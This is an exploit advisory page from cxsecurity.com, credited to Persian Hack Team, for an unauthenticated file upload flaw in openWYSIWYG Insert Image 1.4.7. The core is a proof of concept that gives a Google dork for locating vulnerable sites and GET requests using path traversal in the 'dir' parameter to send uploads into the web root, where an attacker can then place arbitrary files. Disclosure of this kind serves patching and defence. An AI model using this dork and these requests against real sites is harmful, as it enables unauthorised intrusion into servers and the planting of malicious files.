openWYSIWYG Insert Image 1.4.7 Arbitrary File Upload

2017.01.17
Credit: Persian Hack Team
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264
Dork: inurl:/wysiwyg/addons/imagelibrary/

# Exploit Title: openWYSIWYG | Insert Image v1.4.7 / Unauthenticated File Upload # Date: 2017-1-15 # Exploit Author: Persian Hack Team # Discovered by : Mojtaba MobhaM # Home : http://persian-team.ir/ # Tested on: Windows AND Linux # Telegram Channel : @PersianHackTeam # Google Dork : inurl:/wysiwyg/addons/imagelibrary/ # POC : Unauthenticated File Upload GET /admin/wysiwyg/addons/imagelibrary/select_image.php?pos=1&dir=../../uploads/ You Moust change path To Change Directory to public_html GET /admin/wysiwyg/addons/imagelibrary/select_image.php?pos=1&dir=../../../../ then Upload You File


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top